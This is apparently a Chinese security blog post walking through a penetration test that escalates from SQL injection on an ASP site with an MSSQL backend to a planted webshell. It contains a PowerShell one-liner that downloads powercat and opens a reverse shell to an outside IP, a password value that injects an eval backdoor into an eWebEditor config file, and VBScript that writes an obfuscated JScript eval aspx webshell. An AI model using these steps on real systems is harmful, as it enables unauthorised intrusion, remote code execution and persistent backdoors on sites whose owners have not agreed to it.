从注入到webshell

  • A+
所属分类:安全博客

背景:一朋友渗透测试中遇到一个注入点可执行命令,但无法突破写shell卡住,mssql注入dba权限whoaminetwork权限木马暂时未上

注入点: https://********.com/member/news.asp?ID=6666

判断是否站库分离

1
2
select @@servername`
select host_name()`

发现站库是同服务器

从注入到webshell

直接sqlshell执行命令返回太慢,且容易产生大量不必要日志,web目录不可写,所以这里使用powershell反弹shell

1
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 123.123.123.123 -p 443 -e cmd

从注入到webshell

web目录不可写
从注入到webshell

发现有php进程,看php进程是否以system权限启动,如果为system权限启动并且对应的web目录可写,就直接省去了提权
tasklist /fi "IMAGENAME eq php.exe" /v
执行发现并不是高权限启动

发现eweb编辑器,且配置文件插入了常用iis可解析后缀
从注入到webshell

登录eweb编辑器发现没有开启asp上传相关组件,无法使用eweb编辑器进行上传任何文件,但是可以修改配置文件,也就是说并不是真正的不可写,修改配置文件调用的是Adodb.Stream,而通常上传代码为Scripting.FileSystemObject 组件
从注入到webshell
从注入到webshell

查看ewebeditor/admin/private.asp

从注入到webshell

拿shell思路写config.asp配置文件
修改写配置文件
将密码修改为:
aaaaaaaaa":eval request("a")'
aaaaaaaaa为原本密码
成功连接webshell
https://********.com/ewebeditor/asp/config.asp

从注入到webshell

既然Adodb.Stream 可以修改配置文件,那么同样也可以用来上传文件,下图是eweb中写配置文件代码,我们可以直接抠出来用

从注入到webshell

菜刀执行自定义代码
从注入到webshell

利用Adodb.Stream 写aspxshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Sub WriteFile(s_FileName, s_Text)
On Error Resume Next
Err.Clear
Dim stm
Set stm = Server.CreateObject("Adodb.Stream")
stm.Type = 2
stm.mode = 3
stm.charset = "utf-8"
stm.Open
stm.WriteText s_Text
stm.SaveToFile Server.Mappath(s_FileName), 2
stm.flush
stm.Close
Set stm = Nothing

If Err.Number<>0 Then
Err.Clear
Response.Write "<br><br>Error: Write config file, reason:<br>1. You do not have write privileges for eWebEditor/asp/config.asp<br>2. Server have disabled Adodb.Stream Object"
Response.End
End If
End Sub
aspxshell= "<"&"%"&"@"&"Page Language"&"="&""""&"Jscript"&""""&"%"&">"&"<"&"%"&"eval"&"("&"Request"&"."&"Item"&"["&""""&"pass"&""""&"]"&","&""""&"unsafe"&""""&")"&";"&"%"&">"
Call WriteFile("../uploadfile/config.aspx", aspxshell)

成功获得aspxshell:
https://********.com/ewebeditor/asp/config.aspx pass

这里为什么要用aspx shell呢?因为.net有可能继承users组权限,且不受fso(FileSystemObject)组件影响,当然也可以使用无fsoshell

数据库反弹shell无法对web目录写文件原因下几个图片可以说明:
从注入到webshell

数据库shell权限:
从注入到webshell

webshell 下权限
从注入到webshell

Source:wolvez.club | Author:wolvez

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: